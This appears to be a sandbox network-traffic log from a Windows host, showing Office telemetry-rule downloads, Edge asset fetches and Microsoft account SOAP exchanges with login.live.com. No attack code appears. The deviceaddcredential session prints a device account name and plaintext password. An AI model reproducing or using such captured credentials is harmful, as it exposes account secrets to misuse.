2024-11-17 02:42:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	49803	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-17 02:42:34 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-17 02:42:34 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 17 Nov 2024 02:41:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_BAY x-ms-request-id: 9ab705a2-0926-4586-9de7-0156734e7e7a PPServer: PPV: 30 H: PH1PEPF00011F68 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 02:42:34 GMT Connection: close Content-Length: 1276
2024-11-17 02:42:34 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 27141695-f01e-003c-34af-368cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024234Z-16547b76f7fwggrphC1DFW2a8s00000002kg00000000a0a1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:34 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49807	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 8a4e7403-501e-0047-0c09-37ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024234Z-16547b76f7fxqj4khC1DFWpypw000000011000000000bpqc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:34 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49808	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a9c4265b-101e-000b-57af-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024234Z-1866b5c5fbbx98hfhC1DFWuqmg00000002e000000000ager x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:34 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49811	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 1898305b-101e-008e-3309-37cf88000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024234Z-1866b5c5fbb2ngs6hC1DFW402w00000001wg00000000b997 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	49806	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-17 02:42:34 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 7a 76 69 72 6e 69 71 76 62 61 7a 6f 62 63 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 60 6f 73 51 39 33 78 75 4e 79 79 49 3a 56 54 66 79 6a 2f 50 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02zvirniqvbazobc</Membername><Password>`osQ93xuNyyI:VTfyj/P</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-17 02:42:40 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Sun, 17 Nov 2024 02:41:34 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: 0a79e4cf-41e7-41ee-a851-d7f4afb76663 PPServer: PPV: 30 H: PH1PEPF00011FF0 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 17 Nov 2024 02:42:40 GMT Connection: close Content-Length: 17166
2024-11-17 02:42:40 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 38 30 31 30 33 33 33 42 43 43 32 31 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 33 62 32 35 36 33 61 35 2d 61 39 38 32 2d 34 65 38 36 2d 61 32 31 37 2d 66 38 39 64 37 35 31 36 35 64 35 31 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>00188010333BCC21</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="3b2563a5-a982-4e86-a217-f89d75165d51" LicenseID="3252b20c-d425-4711
2024-11-17 02:42:40 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49810	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 02:42:34 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 3a72ea48-301e-001f-4fd2-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T024234Z-1866b5c5fbb7km9phC1DFWr2sc00000002gg00000000b7wf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:34 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.5	49812	13.107.246.45	443	7464	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-17 02:42:34 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-17 02:42:35 UTC	577	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 02:42:34 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 8d55dced-901e-000f-65df-3785f1000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241117T024234Z-16547b76f7fz92z5hC1DFWmdx800000001y000000000epfa Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 02:42:35 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-17 02:42:35 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
